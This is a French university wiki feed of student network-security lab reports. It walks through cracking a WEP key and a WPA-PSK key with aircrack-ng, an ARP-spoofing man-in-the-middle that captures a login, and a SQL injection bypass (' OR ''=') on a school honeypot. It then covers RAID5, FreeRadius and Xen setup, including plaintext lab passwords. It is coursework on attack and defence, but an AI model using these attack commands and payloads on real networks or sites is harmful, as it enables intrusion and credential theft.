Tous les cracotte se trouvent sur channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 pc plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon pc zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. &lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
Je crée un RAID5 logiciel sur ma VM. Il permet d'écrire les données à la suite sur les disques durs qui sont stockées. Si on perd un disque, les données pourront être reconstituées par les autres toujours fonctionnel.&lt;br /&gt;
&lt;br /&gt;
Sur Capbreton, je créé un disque niveau 5, un seul système de fichier composé de 3 partitions. &lt;br /&gt;
&lt;br /&gt;
Je commence par créer les 3 partitions LVM de 1Go&lt;br /&gt;
  lvcreate -l1G -n hawker-raid1 storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid storage&lt;br /&gt;
  lvcreate -l1G -n hawker-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Je visualise les disques créés via la commande &lt;br /&gt;
  vgdisplay&lt;br /&gt;
Il existe 3 types de volumes différents : storage, virtual et system.&lt;br /&gt;
&lt;br /&gt;
Je les associe à ma VM en l'éteignant et modifiant le fichier de configuration hawker.cfg en ajoutant :&lt;br /&gt;
  disk= [ ...     &lt;br /&gt;
          'phy:/dev/virtual/hawker-raid1,xvdc1,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid2,xvdc2,w',&lt;br /&gt;
          'phy:/dev/virtual/hawker-raid3,xvdc3,w',&lt;br /&gt;
        ]&lt;br /&gt;
&lt;br /&gt;
Puis je le rallume ma VM et via la commande lsblk, je vois mes 3 disques ajoutés.&lt;br /&gt;
&lt;br /&gt;
Je met en place le disque niveau 5 (RAID5) avec les 3 partitions&lt;br /&gt;
  mdadm --create /dev/md0 --level=5   --raid-devices 3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3&lt;br /&gt;
Je reprends le protocole que j'ai déjà effectué pour les partitions xvdb en utilisant mkfs, mount et cat. Les partitions sont alors actives.&lt;br /&gt;
  mkfs /dev/md0&lt;br /&gt;
  mount /dev/md0 /mnt&lt;br /&gt;
  cat /proc/mdstat&lt;br /&gt;
&lt;br /&gt;
Comme j'ai déjà fait pour les disques xvdb, je dois imposer le montage de RAID5 à chaque démarrage&lt;br /&gt;
   /dev/md0  /raid5  ext2  defaults  0  2 &lt;br /&gt;
&lt;br /&gt;
Si je stocke des données, en exemple le dossier bind, je les retrouve dans le répertoire raid5. Je vérifie que le système fonctionne et que mes données sont sécurisées. &lt;br /&gt;
&lt;br /&gt;
1er essai : Je commence par commenter la ligne du disque 2 de mon fichier de configuration. Les partitions sont considérées inactives, je repasse par le protocole précédent pour les réactiver et remonter mon disque. Malgré cet incident, on retrouve toutes les données présentes au même endroit.&lt;br /&gt;
&lt;br /&gt;
2ème essai : Je simule la perte du disque 2&lt;br /&gt;
  cp -a /usr/bin /mnt                               //Copie de données&lt;br /&gt;
  dd if=/dev/zero of=toto bs=1024k count=100        //Copier partie ou tout d'un disque &lt;br /&gt;
&lt;br /&gt;
  mdadm --set-faulty /dev/md0 /dev/xvdc2           //Perte du fichier disque 2 &lt;br /&gt;
  cat /proc/mdstat                                 //On voit qu'on a plus de partitions&lt;br /&gt;
  ls -R /mnt                                       //Vérifier qu'on a gardé les fichiers&lt;br /&gt;
  umount /mnt                                     //Démonter le système de fichier&lt;br /&gt;
&lt;br /&gt;
  mdadm --remove /dev/md0 /dev/xvdc2             //Je replace la partitions 2&lt;br /&gt;
  mdadm --add /dev/md0 /dev/xvdc2&lt;br /&gt;
  cat /proc/mdstat                               //On voit qu'il met quelques temps à le récupérer&lt;br /&gt;
&lt;br /&gt;
Encore utilisé à Polytech, on voit un disque gardé au cas où ceux en marche expire. Il gère les fichiers du disque qui va expiré et les gère. Quand on remplace, il replace les fichiers dans celui qui fonctionne.&lt;br /&gt;
&lt;br /&gt;
Je considère la sécurisation de mes données de VM atteinte. &lt;br /&gt;
&lt;br /&gt;
=== Sécurisation WiFi par WPA2-EAP ===&lt;br /&gt;
&lt;br /&gt;
==== Configuration serveur FreeRadius ====&lt;br /&gt;
&lt;br /&gt;
L'objectif est le contrôle par WPA2-EAP de l'accès à la borne WIFI. L'identification sera fera grâce à un serveur FreeRadius, qui permet de centraliser tous les utilisateurs, pour la sécurisation filaire.&lt;br /&gt;
&lt;br /&gt;
Je dois procéder à la configurarion du serveur FreeRadius sur ma machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
Evidemment, je commence par l'installer, en procédant d'abord à une mise à jour.&lt;br /&gt;
  apt update&lt;br /&gt;
  apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Puis je passe à la configuration et ajoute un utilisateur dans le fichier /etc/freeradius/3.0/users&lt;br /&gt;
  pifou Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
  eap{&lt;br /&gt;
     default_eap_type = peap&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
/etc/freeradius/3.0//mods-enabled/mschap&lt;br /&gt;
  //Décommenter et vérifier&lt;br /&gt;
    use_mppe = yes&lt;br /&gt;
    require_encryption = yes&lt;br /&gt;
    require_strong = yes&lt;br /&gt;
  //Ajouter&lt;br /&gt;
    with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/freeradius/3.0/clients.conf rajouter la borne comme un client qui se connectera sur le server radius:&lt;br /&gt;
  client access-point { /Nom du client&lt;br /&gt;
    ipaddr = 10.60.0.100 //Adress IP de la borne&lt;br /&gt;
    secret = glopglop //Mot secret saisi lors de la configuration&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les configurations terminées, j'arrête le serveur. Il faut faire attention car la commande stop n'a pas fonctionné.&lt;br /&gt;
 service freeradius stop&lt;br /&gt;
  ps auxwww | grep free&lt;br /&gt;
     root     18316  0.0  0.0   3084   888 pts/0    S+   22:49   0:00 grep free&lt;br /&gt;
  kill 10659&lt;br /&gt;
Relancer en mode debug afin de visualiser les requêtes et tentatives de connexions&lt;br /&gt;
  freeradius -X&lt;br /&gt;
&lt;br /&gt;
==== Configuration des points d'accès WiFi ====&lt;br /&gt;
&lt;br /&gt;
Il faut que j'ajoute un SSID protégé par la méthode WPA2-EAP à la configuration du point d’accès WiFi. Cela implique d’utiliser un nouveau VLAN donc un nouveau réseau IP à router par le routeur Wifi. Il faut aussi configurer le serveur virtuel Xen comme serveur d'identification.&lt;br /&gt;
&lt;br /&gt;
J'accède à la configuration de la borne WiFi&lt;br /&gt;
  minicom -os&lt;br /&gt;
  port : /dev/ttyUSB2&lt;br /&gt;
Je peux vérifier que je suis sur la bonne borne en arrivant sur ap#&lt;br /&gt;
&lt;br /&gt;
Je passe en mode privilégié et en mode configuration&lt;br /&gt;
  ap#enable      &lt;br /&gt;
  ap#config term   &lt;br /&gt;
&lt;br /&gt;
On met la commande suivante pour :&lt;br /&gt;
&lt;br /&gt;
authentification : vérifier l'identité de l'utilisateur &lt;br /&gt;
&lt;br /&gt;
authorization : pouvoir limiter l'accès à certaines fonctionnalités &lt;br /&gt;
&lt;br /&gt;
accounting : pouvoir enregistrer les actions de l'utilisateur&lt;br /&gt;
&lt;br /&gt;
   ap(config)#aaa new-model                                                                        &lt;br /&gt;
&lt;br /&gt;
Création du serveur radius en prenant mon adresse IP et le mot de passe choisi lors de la configuration du serveur FreeRadius&lt;br /&gt;
  ap(config)#radius-server host 193.48.57.171 auth-port 1812 acct-port 1813 key glopglop    &lt;br /&gt;
&lt;br /&gt;
Définition du groupe de serveur&lt;br /&gt;
  ap(config)#aaa group server radius radius_lulya&lt;br /&gt;
&lt;br /&gt;
Association du groupe de serveur et du serveur de la VM&lt;br /&gt;
  ap(config)#server 193.48.57.171 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
Définition du login et du groupe de serveur par lequel l'utilisateur passera pour s'authentifier&lt;br /&gt;
  ap(config)#aaa authentication login eap_lulya group radius_lulya&lt;br /&gt;
&lt;br /&gt;
Définition du SSID protégé par la méthode WPA2-EAP&lt;br /&gt;
  ap(config)#dot11 ssid SSID_lulya //Reprise du nom Lulya                           &lt;br /&gt;
  ap(config-ssid)#vlan 10&lt;br /&gt;
  ap(config-ssid)#authentication open eap eap_lulya     &lt;br /&gt;
  ap(config-ssid)#authentication network-eap eap_lulya                            &lt;br /&gt;
  ap(config-ssid)#authentication key-management wpa    &lt;br /&gt;
&lt;br /&gt;
Configuration du Vlan&lt;br /&gt;
  ap(config)#interface Dot11Radio0                                                &lt;br /&gt;
  ap(config-if)#encryption vlan 10 mode ciphers aes-ccm tkip                      &lt;br /&gt;
  ap(config-if)#ssid SSID_lulya                                                   &lt;br /&gt;
&lt;br /&gt;
Création de sous interfaces&lt;br /&gt;
  ap(config)#interface dot11Radio0.10                                             &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10          &lt;br /&gt;
&lt;br /&gt;
  ap(config)#interface fast0.10  &lt;br /&gt;
  ap(config-subif)#encapsulation dot1Q 10                                         &lt;br /&gt;
  ap(config-subif)#bridge-group 10               &lt;br /&gt;
&lt;br /&gt;
Ajout SSID dans l'interface Dot11Radio0&lt;br /&gt;
  ap(config-subif)#interface Dot11Radio0                                          &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                         &lt;br /&gt;
&lt;br /&gt;
Rendre le SSID visible&lt;br /&gt;
  ap(config-ssid)#interface Dot11Radio0                                           &lt;br /&gt;
  ap(config-if)#mbssid                                                            &lt;br /&gt;
  ap(config-if)#dot11 ssid SSID_lulya                                             &lt;br /&gt;
  ap(config-ssid)#mbssid guest-mode    &lt;br /&gt;
&lt;br /&gt;
Je quitte tout en utilisant &amp;lt;code&amp;gt;exit&amp;lt;/code&amp;gt;, puis faire un &amp;lt;code&amp;gt;write&amp;lt;/code&amp;gt; pour prendre en compte toutes les configurations, pour finir je &amp;lt;code&amp;gt;reload&amp;lt;/code&amp;gt; &lt;br /&gt;
  ap(config)#write                                                                        &lt;br /&gt;
    Building configuration...                                                       &lt;br /&gt;
    [OK]&lt;/div&gt;</summary>
		<author><name>Lchenu</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54697</id>
		<title>TP sysres IMA2a5 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2020/2021_G7&amp;diff=54697"/>
				<updated>2020-12-15T14:01:46Z</updated>
		
		<summary type="html">&lt;p&gt;Lchenu : /* Configuration de la VM */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Partie commune ==&lt;br /&gt;
Pour commencer, nous avons divisé le travail concernant l'installation de la maquette réseau. J'ai alors fait équipe avec Thomas et Alexandre pour configurer les 3 routeurs (cf : Wiki Groupe n°6 VITTECOQ Thomas - Partie Commune)&lt;br /&gt;
&lt;br /&gt;
L'objectif est la réalisation d'un système réseau répondant aux protocoles IPV6 et assurant une redondance matérielle.&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle Xen ==&lt;br /&gt;
&lt;br /&gt;
=== Création de la VM ===&lt;br /&gt;
Je commence par créer la VM sur le serveur commun capbreton, je me connecte alors en ssh&lt;br /&gt;
  ssh root@capbreton.plil.info &lt;br /&gt;
&lt;br /&gt;
Nom de ma machine : hawker&lt;br /&gt;
&lt;br /&gt;
Adresse IP de la machine : 193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Adresse du routeur : 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Le répertoire des disques virtuels : /usr/local/xen&lt;br /&gt;
&lt;br /&gt;
xen-create-image est une commande qui permet de créer facilement de nouvelles instances Xen.&lt;br /&gt;
  xen-create-image --hostname=hawker --ip=193.48.57.171 --gateway=193.48.57.163 --dir=/usr/local/xen –dist=beowulf&lt;br /&gt;
&lt;br /&gt;
J’ai aussi utilisé une seconde méthode qui fonctionne mieux en gardant le nom de ma machine hawker&lt;br /&gt;
&lt;br /&gt;
	Le miroir Debian est celui de l’école : http://fr.deb.devuan.org/merged/&lt;br /&gt;
&lt;br /&gt;
	La distribution stable courant :  http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
  xen-create-image --hostname=hawker --dhcp --dir=/usr/local/xen --dist=ascii --apt_proxy=http://proxy.polytech-lille.fr:3128 --mirror=http://fr.deb.devuan.org/merged/ --force&lt;br /&gt;
&lt;br /&gt;
En lançant un second terminal, je peux suivre le processus d’installation&lt;br /&gt;
  tail -f /var/log/xen-tools/hawker.log&lt;br /&gt;
&lt;br /&gt;
Lorsque l’installation est terminée, j'obtiens plusieurs informations dont le mot de passe du routeur.&lt;br /&gt;
&lt;br /&gt;
     Installation Summary&lt;br /&gt;
     ---------------------&lt;br /&gt;
     Hostname        :  hawker&lt;br /&gt;
     Distribution    :  ascii&lt;br /&gt;
     MAC Address     :  00:16:3E:A4:65:07&lt;br /&gt;
     IP Address(es)  :  dynamic&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (DSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ECDSA)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (ED25519)&lt;br /&gt;
     SSH Fingerprint :  SHA256:xxxxxxx (RSA)&lt;br /&gt;
     Root Password   :  xxxxxxxxxxxxxxxxxxxxxxxx&lt;br /&gt;
&lt;br /&gt;
Via la commande passwd, j'ai changé le mot de passe par &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Configuration de la VM ===&lt;br /&gt;
&lt;br /&gt;
Pour commencer, je dois modifier le fichier de configuration de la VM pour donner accès au bridge réseau.&lt;br /&gt;
Je récupère le nom du bridge &amp;quot;IMA2a5&amp;quot;&lt;br /&gt;
  brctl show &lt;br /&gt;
    bridge name        bridge id             STP enabled     interfaces&lt;br /&gt;
    '''IMA2a5             8000.34800d508a83     no              ether1'''&lt;br /&gt;
    IMA5sc             8000.34800d508a82     no              ether0&lt;br /&gt;
    L3MRIT             8000.b026289b2c9a     no              ether2&lt;br /&gt;
    Trunk              8000.4cd98fa49258     no              ether4&lt;br /&gt;
    bridgeGIS          8000.4cd98fa49258     no              vlan502&lt;br /&gt;
&lt;br /&gt;
J'accède au fichier de configuration de ma VM /etc/xen/hawker.cfg&lt;br /&gt;
J'ajoute mon adresse MAC donnée précédemment et le bridge IMA2a5. &lt;br /&gt;
&lt;br /&gt;
 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
